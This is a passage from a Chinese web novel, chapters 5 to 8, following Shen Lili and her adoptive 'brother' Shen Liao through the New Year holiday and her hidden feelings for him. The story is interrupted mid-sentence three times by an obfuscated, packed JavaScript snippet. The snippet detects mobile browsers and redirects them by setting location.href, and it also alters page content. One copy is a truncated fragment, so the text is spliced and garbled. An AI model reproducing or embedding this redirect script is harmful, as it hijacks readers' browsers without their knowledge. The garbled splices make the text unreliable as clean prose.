“差不多吧,”沈燎似乎不想聊起这些,抬眸看向沈离离,轻描淡写地转移了话题,“离离,多吃点,有你一半功劳呢。” “吃很多了,味道特别好。”她十分上道地捧场。 丰盛的团圆饭后,三人闲下来,坐进客厅聊天。沈君玉的别墅并不大,但胜在房间多,除了一间书房,其他几乎都是卧室。 母亲去世后,沈离离被沈君玉收养,户籍被转到她户下,那年沈燎刚上大学,只有周末能回家,沈离离便搬到了这里,因此有一间属于她的房间。 沈燎若是留宿,惯常是睡客卧。 “姑姑,砚洲今晚不过来吗?”沈离离切了水果,正在认真摆盘。 姑姑摇头,笑了笑:“他年年过来,也不像话,他爸那边肯定难应付。” 离离点点头,把水果盘递过来,姑姑笑着摸了摸她的头发。 沈燎和沈离离坐在姑姑两边,关灯后,找了部家庭片一起看。 情到浓时,姑姑把两人的手拉在一起,柔声说:“这些年姑姑心有余而力不足,对你们关心不够,虽然知道你们都是坚强的孩子,但总归不放心。好在小燎回来了,兄妹俩好好走下去,一定要互相扶持,知道吗?” 沈离离抱住姑姑,轻声说知道的。沈燎也说:“您放心吧,我和离离,不会出什么事的。” 八年前,是十七岁的沈燎找来她家,求她收养离离。若不是他年纪还小,不具备收养条件,绝不会找上其他人。从那一刻,沈君玉就知道,这个家里能真正让沈离离全心信任的人只有沈燎。 这对毫无关系的兄妹,虽然是因上一辈的爱情结缘,但即使将来有了伴侣,成了家,也永远是对方独一无二的存在。 电影看完,沈离离职业病又犯,迅速就去音乐软件搜索电影中她印象最深刻的那段配乐,收藏到“好好学习”的歌单里。 晚上十一点半,姑姑熬不住了,对他们道了晚安,先一步上床睡觉。 两人对视,随后一笑,都决定守岁跨年。 沈离离指指阳台,问他:“要不要去吹吹风?” 沈燎欣然点头,把外套拿来,给她披好了才出去。 趴在窗台上,一边吃着果盘,一边遥望海文夜景,俯瞰半座城市的璀璨灯火。 这一刻,沈离离忽然产生一种错觉,好像一切都可以被新年的微风吹散,无论是隐秘的情感,还是多年的不安。 “哥,我小时候住的那个地方,除夕夜是可以放烟花的。” 沈燎转头,看向她,“你小时候?” “嗯,来到海文之前。”她语气淡淡,温柔又平静,“那是一个小村子,到最近的县城也要开两小时的车,特别干燥,没有铺路,一年四季都是黄沙满天飞的样子。但天上星星很多,过节的时候,会有村里的大户人家放烟花。” 多年以来,沈燎头一次听她讲述六岁之前的事情。 在向三叔询问得到的只言片语中,他可以确信,她和她妈妈一样,拥有绝对算不上幸福的过去。 但沈离离却总是在让他感到惊讶,钦佩,也常常内心柔软。 “想回去看看吗?”沈燎问。 沈离离笑道:“完全不想。只是刚好在这个时间点,突然想到烟花。” 他对她说:“那走,带你看烟花。” 沈离离愣了两秒,扭头瞪大眼睛看他,“你开玩笑吗?” “你看我像在开玩笑吗?”他一扬眉,与她对视。 “可是,可是太晚,太冷,我有点不想出去……” “没关系,”看着她满脸纠结的焦急模样,沈燎淡淡一笑,“不需要出门。” 6. 第 6 章 接着,沈离离就看见沈燎变戏法似的拿出了一块玻璃板,她好奇地走过去,蹲下,看着他一点点画出图纸,裁剪玻璃板。 沈离离顿时产生了浓厚期待,主动询问需不需要帮忙。 沈燎说不用,叫她坐在旁边看就好。 成品出来前,沈离离仍旧猜不出他要做什么,只好专心致志瞧着他的一举一动。 沈燎有一双很好看的手,骨节分明,指甲修剪得短而整齐。她以前听到同学聚在一起讨论,说钢琴家的手和外科医生的手最漂亮。 她弹琴多年,什么乐器都练,并不觉得自己的手漂亮,反而关节大,指尖有茧。但沈燎的手很好看,长且直,十分匀称。 “看那么认真?” 响起沈燎带着笑意的声音。 沈离离下意识否认:“随便看看。哥你好慢,到底要做什么?” “好了。”他下一秒就说。 沈离离惊讶,看向他手里的玻璃“金字塔”,仍旧不解:“这跟烟花有什么关系?” 沈燎把平板拿出来,找了个视频,随后将金字塔放在平板中央,起身去关灯。 室内骤然陷入一片黑暗。 “离离,要不要倒计时一下?”他笑着说。 沈离离赶紧拿出手机,翻到世界时钟的界面。 两人借着手机的光,在昏暗中看向彼此,带着难以掩饰的喜悦,“十,九,八……” “三。” “二。” “一。” 沈燎手指一动,沈离离下一秒听见了烟花炸开的砰砰声。 在那个小金字塔里面,烟花被全息投影,立体又灿烂,在桌面一隅,一朵接一朵地绽放,流光溢彩,永不熄灭。 光芒照亮她的面容,映进她欣喜若狂的眼睛里,笑容比电子烟花耀眼得多。 沈燎凝望她,笑着说:“新年快乐。” “新年快乐!哥,谢谢你。” 沈离离感受着自己胸腔中狂跳的心,忽然觉得,她大概已经完蛋得彻彻底底了。 那他呢?到底为什么,能够对她好得那么自然,那么轻松,仿佛毫无芥蒂与负担。 如果没有这一层滑稽的兄妹关系,他还会对她这么好吗? 沈离离长久地注视着金字塔玻璃盒里的烟花,眼睛发紧,鼻尖也酸涩。 如果不是他妹妹,她或许永远无法享受到这样的偏爱。 所以知足吧,沈离离想。 “哭什么?”沈燎轻轻拍了拍她的后背,声音很温柔,“被你哥感动得一把鼻涕一把泪了?倒也不用那么夸张啊。” 她噗嗤笑出来,随手抹了把眼角,笑着说:“对啊,超级漂亮超级可爱,感动死了。你一定要教教我怎么做。” “简单,剪剪拼拼的事儿,明天教你。”说完,沈燎站起身,把她也从地上拉起来,走去将灯打开。对她说:“快去睡觉吧,很晚了。” “嗯。” “晚安。” “……晚安。” 这夜晚那么吵闹,又那么寂静。 - 次日清晨,大年初一,沈离离醒得很早,整栋房子都静悄悄的。 她下楼找了点东西吃,吃完又回卧室躺下。 摸出手机,一条条回复新年祝福消息和朋友圈评论。昨晚难得发了次朋友圈,配图是沈燎制作的那个全息投影烟花。 名叫骆雪的大学舍友评论她:谈恋爱了?那是男人的手吧【坏笑】 沈离离只是看到这行字都觉得心脏一颤,急忙回复:是我哥。 宿舍群里,骆雪很快冒头:我们都不知道,离离你还有哥哥?亲的吗?手很好看诶。 沈离离无奈:不是亲的,就那种一起长大的哥哥。 骆雪秒回:哦我懂了,青梅竹马。 ……这么说好像也没问题。 宿舍四人,只有沈离离和骆雪没有恋爱,骆雪是个奔赴在吃瓜第一线的活力女大学生,对恋爱没兴趣,但富有旺盛的好奇心和探索欲。 其他人似乎还没醒,骆雪便去找沈离离私聊了。 两人有一搭没一搭地聊着这假期发生的事,绕了一圈,骆雪还是好奇,问:所以你昨晚是和这个竹马哥一起跨年的?单独? 沈离离:算是吧,家里长辈先睡了。 骆雪:天哪,不是,你们真是普通青梅竹马?这不对吧老师。 沈离离不知道应该放任自己向一无所知的旁人倾诉这段感情,还是及时止损,将一切定格在最合适的时间。 她一直觉得自己是个理智的人,无论在音乐上,还是生活中,她不会太放纵情绪。不需要过度的激情,也不需要刻意去煽情,恰到好处四个字,是她的最佳状态。 但这时才忽然发现,感情,并不是能用天平进行度量的东西。 沈离离打太极似的逃避了话题,转而与骆雪聊起了其他事情。 直到十点多,沈燎给她发了消息,问醒了没有。 她立刻回复,洗漱下楼。 早上姑姑带着离离和沈燎去了餐厅,一同抵达的还有林砚洲。见了面,兄妹二人坐一侧,林砚洲和母亲坐一侧。 沈君玉问他:“小洲,最近跟你爸怎么样?” 林砚洲表情很平静:“和以前一样。” 他明年高中毕业,已经是个气质十分沉稳的青年。但每次见面,沈君玉似乎都要这么问一遍,像是这样问过之后,心中的愧疚感能减少一些。 沈君玉曾为爱情几乎与父亲断交,将户口独立出去,只与三哥沈君良还有来往。 可惜这段感情仍旧无疾而终。和前夫离婚后,沈君玉有很长一段时间封闭自我,隔绝一切,对待林砚洲亦是,不联系,也不关心。她一股脑地将自己投入工作,对生活中大部分事情漠然以待。 那时沈燎求她收养离离,也只是挂名的监护人,她不需要给予沈离离关爱,只需要给她一个房间,让她吃好住好,养一个孩子,对沈家任何人来说都不是难事。 学校家长联系号码留的是沈燎的,家长会也依然是沈燎去开。 发生改变,是在五年前,林砚洲被绑架,失踪半年多,回来后狼狈不堪。沈君玉见到儿子,终于忍不住,哭得悲痛欲绝。 从那之后,她才开始关心这些孩子们的生活,与父亲和解,一点点敞开心扉。 餐桌上,聊起了小洲以后的规划。 他自己似乎觉得无所谓,说:“我爸已经安排好了。” 沈君玉冷笑一声,“他给你安排什么了?出国,学商科,毕业进公司帮忙?” 林砚洲:“……嗯。” 沈离离想了想,认真对他说:“其实不一定非得照着这条路走,砚洲,还是想想你自己喜欢什么。” 沉默一会儿后,他垂下眼说:“我没有特别喜欢的。” 沈离离还想再说些什么,一抬头,忽然收到了沈燎的眼神。 她心有所感,止住了话,却感到不解。 这顿饭结束后,沈君玉要带着儿子回去待两天,离离和沈燎与他们告别,回了家。 路上,她忍不住问:“你刚才是想跟我说什么?” 沈燎正开着车,目不斜视,对她说:“其实,照着长辈给的路走,也没什么不好。” 他语气平淡,沈离离找不出丝毫开玩笑的痕迹。 “可如果他因此错过了真正属于他的领域呢?以后会后悔的。” 沈燎说:“但事实是,世界上大部分人终其一生也找不到自己的领域。与其浪费精力寻找,不如早点安定下来。” 沈离离不可置信地转头望着他,感到陌生。 “你真是这样想的?”她难过地问,“真的觉得一眼就望得到尽头的人生,是正确的?” 明明从小到大,他才是最常对她说“自由才是人生真谛”的那个人。 或许是察觉到她的情绪变化,沈燎下意识扭头看了她一眼,才缓声说:“离离,人生哪有什么正不正确的。只是经历过的事情多了之后,想法会变,我现在希望自己安定,但不代表我希望你也这样。” 沈离离沉默良久,想问他这三年究竟经历了些什么,到底为什么突然离开,又突然回来,还想问他,在他心里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321088|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她到底算什么…… 但最终,思绪像狂风一样,莽撞吹过了半片天空,还是回到原点。 她只问他:“那你希望我拥有什么样的人生?” 沈燎认真思考起来,良久后,他认输似的叹了口气,语气平和又坚定,说:“我希望你自由。” 她呆了两秒,下一句话脱口而出:“那如果,自由的代价是不得安定呢?” 沈燎倏然轻轻一笑,看了她一眼,语气平和:“沈离离,你有家,家就是避风港。有我在的一天,你就有对抗不安定的底气。” 心跳似乎漏了一拍。 可是,她哪里来的家呢? 母亲离世多年,她与姑姑已解除收养关系,沈家从始至终没有承认过她和她母亲的存在…… 沈离离再次扭过头去看他,他脸上也依然是那副淡然神情,说的每一句话,都像是漫不经心,轻飘飘的,好像风一吹就会散如尘烟。 但有时,也正因为这样的平静,才更显得笃定。 好像那不是一句承诺,而是如同数学公式物理定律一样,不可动摇的事实。 - 晚上陈夏安在小群里约人出来玩,杨敬澄和殷恒都有事,沈离离答应了。 出门前,沈燎问需不需要开车送她,沈离离拒绝,不想再麻烦他。他也不强求,只提醒她:“注意安全,穿厚一点,围巾戴上。” 沈离离应了声好,戴好围巾出了门。 她刚走到小区门口,陈夏安的电话就打过来了,两人都在去地铁站的路上,打电话起到一个陪伴作用。 陈夏安笑问:“沈燎没让司机送你?” 沈离离:“司机也要回家过年的。” “那他没亲自送你?” 沈离离无奈:“想什么呢,动漫里那种夸张妹控不存在的。我出门前他还在工作。” 陈夏安感到惊讶:“那么忙?我以为霸总的休息时间应该都在吃喝玩乐。” 她回想一下沈燎这几个星期在家的日常,确认道:“特别忙,大部分时候都在书房打电话。” 不过他以前的样子,倒确实很符合那种意气风发,精通吃喝玩乐的公子哥典范。 到了地铁站,又过十几分钟,两人成功会面。 年假期间,很多餐馆都关门,好在陈夏安已经提前看好了,领她去了还开着门的一家烤肉店,以前也来过,味道不错。 陈夏安是个不着家的性子,最喜欢往外跑,大多数假期都在外漂着,寒暑假即使回家,也很少安安分分待在家里。 今晚即使沈离离不出来,她也依然能约到其他朋友出来玩儿,无论何种性格的人,她都可以相处得游刃有余。 跟沈离离这样的,就是坐着吃东西,聊聊天。她开心,对方也自在。 “昨晚你朋友圈那个小烟花,你哥做的?”陈夏安挑眉说,“我看见有男人的手了。” 沈离离把那条朋友圈翻出来,盯着看了很久,实在想不通,她们到底是怎么显微镜似的从玻璃倒影中准确找出那只手的。 得到肯定答案后,陈夏安笑了:“我猜也是,除夕夜,你身边怎么可能有别的男人。” 她问为什么。 陈夏安喝了口水,摇头叹气:“宝贝你的交际圈其实还是挺小的,除了我们几个,就是家人、同学,再往外数,就是工作相关的人。你不会在工作圈里找对象吧?” 沈离离想想,也承认了,感叹说:“你看人好准。” 陈夏安笑出来,忽然想到个问题:“哎,离离,虽然你不太算那个圈子里的人,但你哥肯定是。他以后,会不会让你跟门当户对的男人结婚呀?” 几乎不需要思考,沈离离答:“不会呀,我和沈家陆家都没什么关系,和我结婚能有什么好处?而且,他……很尊重我。” 不止是尊重,他们本来就没有能插手对方私事的关系。 “那他呢?” “他什么?” 陈夏安有点好奇,说:“按套路哈,这种家庭,不是连婚姻也得带有利益价值吗。那沈燎呢,他会和什么样的女人在一起?” 7. 第 7 章 这个问题难到她了。 从来没有想象过,沈燎谈了恋爱,结了婚,会是什么样,更遑论去猜测他的结婚对象。 但也是直到这一刻,她才如此清晰地意识到,那是必然会降临的一天。 无烟烤盘上,烤肉渐熟,香味浓郁四散,让人垂涎欲滴。 沈离离走神半晌,随后边低头夹肉,边回答:“这个,我真不知道。” 陈夏安一看肉快熟了,也赶紧动筷,出声问:“你们兄妹俩平时不会聊这些?” “不会,”她措辞了一会儿,不知该如何解释,“我跟沈燎,和普通兄妹还是不太一样。” 陈夏安抬头看她两秒,仔细一想,恍然道:“还真是。你上大学之后就迁户口了吧,所以严格来说,你们现在其实连世交兄妹也不算?” 沈离离“嗯”了一声,叫她认真吃饭。 晚上,两人去看了个春节档电影,比沈离离预期好许多,主要是配乐上让她眼前一亮,继而心情舒畅。 陈夏安笑着说无论看什么电影,她压根都不会成为影迷,只可能是乐迷。 从影院出来已经是凌晨,打开手机,才看见沈燎发的十多条消息。 她飞快拨了个电话过去,那边秒接。 “哥我刚在看电影,手机静音了。”她立刻解释说。 沈燎似乎并不在家里,声音夹杂着风声,微喘着气,语气不太好:“下次要静音,提前跟我说一声,听到没。” “好好,我知道了,对不起,不会有下次了。” 陈夏安在一旁一个激灵,看向沈离离,悄声问她:“生气了?” 沈离离苦恼地点点头。 静默一会儿,沈燎声音已经冷静下来:“地铁是不是已经停运了,共享位置,我来接你。” “啊,那个……不用麻烦,我和我朋友在一块儿呢。”沈离离心有愧疚,不想再让他大半夜折腾。 沈燎却是不容拒绝的口吻:“那我先送你朋友,我们再回家。” 这回恐怕真让他担心急了,沈离离不再多说,问了陈夏安一声,得到她“ok”的手势。 位置共享过去,挂了电话,两人走到可以停车的路边等待。 大年初一的晚上,城市里车很少,商圈附近,放眼望去大多是叫不出名字的车。 没等太久,沈离离远远望见了沈燎的车,这次是辆黑色卡宴。 他的车很好认,是因为车牌号几乎都是字母L开头。姑姑说他太张扬,哪有把名字写在车牌上的,他当时说,L不是燎,是沈离离的离。 他说这话时笑意盈盈,口吻随意,让沈离离分不清,究竟是真是假。 但大概率,只是搪塞姑姑,随口扯的理由。 车停在路边,离离犹豫两秒,跟陈夏安一起坐进了后座。 沈燎看了眼后视镜,问了陈夏安家在哪。他今夜车速很快,半小时的路程,只开了十几分钟。 陈夏安下车前给了沈离离一个心有余悸的眼神,悄悄发消息说:有点恐怖,全程不敢讲话。我终于知道杨敬澄为什么只见了一面就那么怕你哥。 沈离离还是挣扎了一下:他其实挺好相处,今晚可能是有点气我没接电话。 陈夏安已经走远,沈离离收起手机,一抬头,才发现不对劲。 车怎么不走? 她看向后视镜,直直与沈燎对上视线。他回过头,看着她,像是气笑了:“还把我当司机呢?” 沈离离:“……忘记了。” 她立刻开车门,换到副驾去坐。车启动,朝回家的方向转去。 “哥你真生气了?”憋了半天,沈离离小心翼翼瞧他。 “嗯?我生什么气?”他甚至反问起来。 酝酿两秒,她十分真诚地道歉:“对不起我真的不是故意静音的,你知道我平时看电影也有这个习惯,何况在影院里,手机响也会影响其他……” “等一下,”沈燎打断,带着满脑子疑惑,看了她一眼,“沈离离,我不是说过吗,下次静音前跟我说一声,报个位置就行了,道什么歉?” “嗯?”她也懵了,仔细去看他的脸,他的眼神。 沈离离:“不是你生气了么,我肯定要哄哄你呀。” 沈燎反应过来,再次笑了:“我真没生气。为这种事,还要你来哄我,我是有多难对付?” “可是,可你一路不讲话,还面无表情,就是很吓人啊。”沈离离顿时觉得脑袋一团乱麻,说着,忽地感到鼻酸。 沈燎愣了一下,很快找位置,靠边停车,解了安全带侧过身去看她,温声说:“离离,我没有生气,别多想,不讲话是担心你朋友在,不习惯,你做什么我都不会生气,知道吗?” “不是不是,你,你开车呀,别突然停下来。” 完蛋了,更委屈了,眼眶更热了,连声音也不受控制地哽咽,微微颤抖。沈离离从来没觉得自己这样胆小过,这一路上,竟然始终提着心,将自己责怪得一无是处。 “没关系,这儿可以临时停车。等你舒服了我们再走,又不用赶时间是不是?” 沈燎出奇地温柔,探身过去,把她捂住脸的手捉下来,扯了纸巾正要往她脸上揩拭,却忽地一顿,转而将纸巾塞进她手里了。 沈离离接过来,把脸擦干净,又摁了摁眼角,闷闷地说:“我不知道我为什么哭,我好奇怪。” “这有什么奇怪的,我要是委屈成这样,我也哭。”沈燎张口就来。 沈离离抬眼看他:“真的吗?” “假的,”沈燎说,“因为我不会让自己受委屈。” “……” 他垂下眼,望着她微红的鼻尖和眼角,忽然很想伸手去捧住她的脸蛋,擦掉她睫毛的湿润,把她抱在怀里,轻轻地拍她的背…… 当然,他不能。 他只能以长辈的口吻,语重心长说:“离离,以后不要把委屈憋在心里,不管是谁的错,直接问出来才能解决。况且,你根本没有错,别给自己强加情绪,好吗?” 沈离离低着头沉默了几秒,点了点脑袋:“我知道了。” “真知道还是假知道?” “真的知道啦。” “是吗?我怎么觉得这位二十岁的小朋友,看着还是可怜巴巴的?” 她噗嗤一声,笑了下:“你有点烦啦。快走吧,等会儿挡路了。” “大年初一,还是半夜,能挡到谁的路?”见她终于笑出来,沈燎心情也顿时好了大半,系回安全带。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321089|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 准备启动时,听见她小声说:“沈燎,有个事,希望你能答应我。” 全名就这样字正腔圆地从她口中叫出来,沈燎浑身都激灵了,态度十分端正:“什么事?” 沈离离眼睛里已经没有水光,只剩下认真与诚恳,对他说:“我已经不是小孩了,你能不能,也别再把我当小孩对待?” “……好。” 对望着她那样较真的神情,他说不出一句插科打诨的话来。 这一晚,沈燎无端失眠到半夜,辗转反侧,临清晨时才睡着。 反而沈离离倒头就睡,一觉到天明,不知是不是因为哭泣也消耗能量。 不过这一觉睡得也并没有那么安稳,沈离离做了整夜梦,梦的内容,全部是过去。 小时候是最渴望过年的,春节前一个月,便开始眼巴巴数着日子等候。每到除夕前,妈妈和沈三叔就会带着她和哥哥一起去商城,想买什么都可以。 七岁那年,是沈离离第一次逛那么大的商城,大得像迷宫,夜里依然灯火通明,金碧辉煌好似城堡。 三叔给了两个孩子六百块钱,叫他们自己去买想要的新年礼物。 六百元的巨款,让沈离离如临大敌。她宝贝似的死死攥着纸币,一楼逛完,也没舍得花掉一分。 十二岁的沈燎,头一次肩负起照顾妹妹的责任,遇到这样的情况也觉得难办,于是说:“离离,要不这样,我们把这钱平分,然后列个清单,最想要的排在前面,照着清单上的先后顺序去买。” 沈离离万事迷茫,只知道哥哥说的肯定对,当即点头说好。 两个孩子趴在休息区的椅子上,一笔一划开始列清单。动笔前,沈离离抬头问:“哥哥,钢琴是不是特别贵?” 沈燎:“钢琴?三叔已经给你买了呀,年后才搬回家。” “哦。”沈离离抿了抿唇,低下头,握着笔纠结起来。 最终,沈燎的清单完全超出预算,沈离离却只写了:新衣服,小熊娃娃,芭比娃娃。 沈燎一看,显示不敢相信,跟她反复确实了两遍之后,顿时有种自惭形秽之感。 他说:“离离,新年要穿的新衣服家里会定制的,我们出来只用买书啊玩具啊什么的。” 沈离离点点头,把新衣服划掉,写了两个小熊娃娃。她不太爱看书,只喜欢看电视机,听音乐,但这些家里都已经有了。 确定了计划,沈燎便拉着妹妹目标明确地一家家逛过去。 离离对一切都感到新奇,刚开始羞于开口,不敢问是什么东西。对待这个妹妹,沈燎心思难得细腻,看出来后便主动告诉她,想问什么都可以。 几分钟就能买完的东西,两人愣是逛了整个下午。 最终收获颇丰,沈燎带离离去买的小熊十分柔软可爱,两只就将她的怀抱占满。她满心欢喜地抱了一整天,简直爱不释手。晚上回到家,妈妈给它们消了毒,喷了儿童香水,让沈离离抱着睡觉。 后来她给那两只小熊取了名字,分别叫乐乐和笑笑。乐乐负责陪她睡觉,笑笑坐在钢琴盖上,负责陪她练琴。 直到现在,它们依然兢兢业业,恪守岗位。 迷蒙间,沈离离将乐乐抓到怀里,翻了个身,再次入梦。 8. 第 8 章 次日,沈离离起床时时间已经不早,没想到沈燎竟也没起。 今天两人都没什么精力再出门,不出所料地决定要在家宅一整天。 早餐时,沈燎问她:“明天有没有什么安排?” “没有,”沈离离想了想,说,“后天可能要去排练,我们乐队初六晚上有个小演出。” “行,那明晚跟我出去?”他轻描淡写来了句。 沈离离有点没反应过来,抬头,盯住他,“去哪?” 沈燎朝她一笑:“看真正的烟花。明晚海文港有新年烟花秀,有人约,我想带你一块去看看,怎么样?” “好啊。”沈离离喜出望外,“好几年没听说海文港放烟花了。” “所以难得的机会,肯定要去看看。” 沈燎说完,顿了顿,又补充:“如果你想叫朋友就叫吧,到时候我给你们……” “不用了,我不想叫其他人。”沈离离说。 沈燎停下,看向她。她朝他笑了笑,解释说:“而且,本来就是别人约你的不是吗?我再叫人,有点儿不合适。” 沈燎点头说好,不再多言。 初三晚上,出门前,沈离离为穿着苦恼,给陈夏安打了个视频。 年初二之后,她便被爸妈拉着走亲戚拜年,已经离开海文市,此时正在北方看雪。 “打扮那么认真,不像你啊沈小姐,”她笑着揶揄,“跟谁单独出去呢?杨敬澄?” “怎么突然想到杨敬澄,跟他有什么关系。”沈离离觉得奇怪。 “没没没,没一丁点关系,就让他想着吧……”陈夏安飞快提高音量,转移话题:“那是和谁一起?” 换好了衣服,她将蓝色大衣和白色围巾拎出衣帽间,坐下开始化妆。沈离离对着镜子,迅速打完底,在挑眼影。犹豫两秒,回答:“我哥。” 陈夏安寂静了半晌,沈离离差点以为她那边网络出问题,对着手机喂了几声。 视频里的陈夏安迅速从阳台回到房间内,背后的窗外是雪景。她语气微妙:“你跟你哥,单独出门,还要化妆?” 沈离离飞快明白了她在想什么,立马澄清:“我可没说过是单独啊。是他朋友约的他,我就是去凑热闹,看看烟花。” 说完,她摆出严肃语气:“陈安安你能不能现代一点,女孩打扮非得是给男人看嘛?” 陈夏安笑出声:“这回是我传统了啊。不过说真的,离离你当心一点儿,不是你哥的场,你不一定玩得来。” 她垂下眼睫,又抬头,看向镜中的自己,说:“嗯,我明白。” 约定好的时间之前,沈离离穿好大衣戴好围巾下了楼。 沈燎依然是全身黑色,不过相比平时,看得出套装精致了很多。看见她时,目光停留了好几秒,才移开眼说:“那出发?” “好。” 从家到海文港那片区大概有半小时车程,越临近,夜色也越深,沈离离便越能感受到港口的热闹。 虽说是新年烟花,但水上并没有漂着很多船,岸边的人更多些。仿佛人们也只是来凑凑热闹,当个观众。 离离被沈燎带上了游艇,人不算太多,像是个小型派对,沈离离观察了一会儿,觉出这局的核心人物大概是项云天。 沈燎到后,项云天最先看见,快步过来打招呼。没一会儿,这边就围了四五个人,全部欢欣踊跃,十分热情,还有给沈离离递酒的。 盛情难却,她道了谢伸手接过,并没有喝。 有人对她说:“妹妹不要客气,你哥和我们都是从小玩到大的朋友,大家都认识你。” 闻言,她笑问:“我哥是不是常说我坏话?” “怎么会,”项云天笑道,“他恨不得把‘我妹天下第一好’写在脸上了,每天要把妹妹炫耀八百回。” 在场一片笑声。 可能是三年不见,回来变化又太大,大家很热衷于开沈燎的玩笑。 他终于开口,笑骂:“你们得了,越说越夸张了啊。” 接下来又是一轮寒暄,沈离离跟着去打了一圈招呼,才渐渐明白过来。 沈燎其实才是今晚的主角。 今非昔比,游艇上的公子哥们早已经不是当年那一批,觥筹交错间,大多是些她看不懂的东西。 她只清楚了一件事,沈燎来这里的目的之一,大概是向海文这个圈子的人宣布他的回归,以及与从前截然不同的参与方式。 距离烟花秀还有好久,沈燎担心离离不习惯,问她:“要不要先去二楼餐厅等?一会儿烟花开始,再一起上三楼。” 沈离离点头说好。 她晚饭吃得少,到餐厅点了小吃。 等上菜的期间,不时有人来找她搭话,男女都有。她全都只是面熟,叫不出人家名字,总提心吊胆怕喊错。 不过别人倒认识她,沈燎的妹妹,沈家的千金。她叫什么名字不要紧,要紧的是姓氏。 圈内很多人都知道,沈君良将遗产全给了她,离世后还将她托付给沈君玉。全都以为她是沈君良的私生女,被沈家认回去只是早晚的事。 她礼貌得体地与人交谈,听着他们一口一个沈小姐,有种强烈的戏剧感,好像她不是身处二十一世纪的游艇上,而是穿越到旧时代的宴会厅里了。 或许见她兴致一般,渐渐也没人再来。 她乐得清闲,坐到窗边,欣赏海文夜晚的景色。海文是一座港口城市,算是南部最繁华的地方。 沈离离小时候对大城市没什么概念,被妈妈接到海文之前,也没上过学。初到这里时,说的第一句话是:妈妈,这个村子好大。 后来懂事了,慢慢地,看清了人和人之间的差距,绝不止是村子和城市那么简单。 同一屋檐下生活多年,她还是隐隐觉得,自己与沈燎并不是一个世界的人。就像今夜的游艇派对,她始终无法圆滑地融入那个圈子,无法习惯永远冠冕堂皇,永远灯光璀璨。 她疑心自己是不是太笨,学不会闲聊,也学不会闲聊结束,又彼此攀附。 然而,此时此刻,她望向不远处城市高楼间的缝隙,再透过缝隙,想象出巷子里充满了烟火气的人间。 她也依然不确定,自己是不是属于那边。 世界如同天空与海,泾渭分明,但她是一只因迷路而无法上岸的旱鸭子。 “点东西了吗?”忽然,响起熟悉的声音,“坐这儿是不是有点无聊?” 沈离离抬头,见沈燎朝她走过来。 安静和寂寥被瞬间驱散,她恍似乍然清醒,重新回到这个喧闹的夜晚。 “点了,还没上。”他在她对面坐下,她说不惊讶是假的:“你忙完了?才过去十几分钟。” “我有什么好忙的?是带你来看烟花,又不是来做生意。”沈燎笑了笑,将手里的酒杯放到桌上。 无端地,不敢盯着他的眼睛看。 沈离离将目光落到那杯酒上,脑袋莫名有些乱,随口就说:“那……这个趴大概什么时候结束?” “很晚。不用管,他们一般要玩到凌晨。” 沈离离抬眼,“他们?” “嗯,”他答话时,送餐的人刚好走过来,等人离开后他才继续说:“我们看完烟花就走。” “怎么走?”她看也没看小吃一眼,不可置信地问他:“我们划充气船回去吗?” 沈燎噗嗤一声,是真的被她逗笑,“你想划充气船?也行啊。” 沈离离眨眨眼,知道自己想错了,顿时脸热,“不要,太冷了。” 他仍在望着她笑,是和刚才在楼下虚伪客套的笑完全不一样的那种。 “放心,我们有的是办法上岸。”他对她说。 “好……”沈离离再次躲避视线,拿起餐具,低头吃东西,有些生硬地转移话题:“这个鱼做得不错。” “是吗。”沈燎淡淡一笑,也要了一份餐具。 吃完东西,两人去了小酒厅,期间不时有人来找沈燎喝酒说话,他都答得客套。 沈离离无聊地抿酒,发呆,实在无事可干。 片刻后,她忽然放下鸡尾酒,走向演奏角,上台去找小号手,几秒聊完,又找钢琴师说话。不知她和对方说了什么,两人竟然交换了位置,钢琴师起身,她坐下。 沈燎与旁边人敷衍着,眼睛片刻不移望着离离。 接着,在无人注意的角落里,酒厅里的音乐风格悄悄发生了变化。从舒缓的古典,换成了温柔而不失情调的冷爵士。 女孩子边弹琴,边与小号手对望,二人相视一笑,沉浸演奏。 有人发现了变化,目光投向演奏角。大多并未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321090|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉,依然喝着酒聊着天,却也莫名觉得氛围变得更轻盈。 沈燎目不转睛,看着她脸上怡然自若的笑容,忘了回旁边人的话。 “弹琴的是离离?” 闻言,沈燎应了一声,转头看见旁边的人已经变成项云天。 他自顾自添了杯酒,对沈燎笑说:“我想开个玩笑,你别介意。” 沈燎懒洋洋地看他一眼,“还有开玩笑提前说的?到底是有多不礼貌。” “我说了你就知道了。” “那你说。”他抬酒杯抿了一口。 “你是不是想追你妹啊?” “咳咳——” 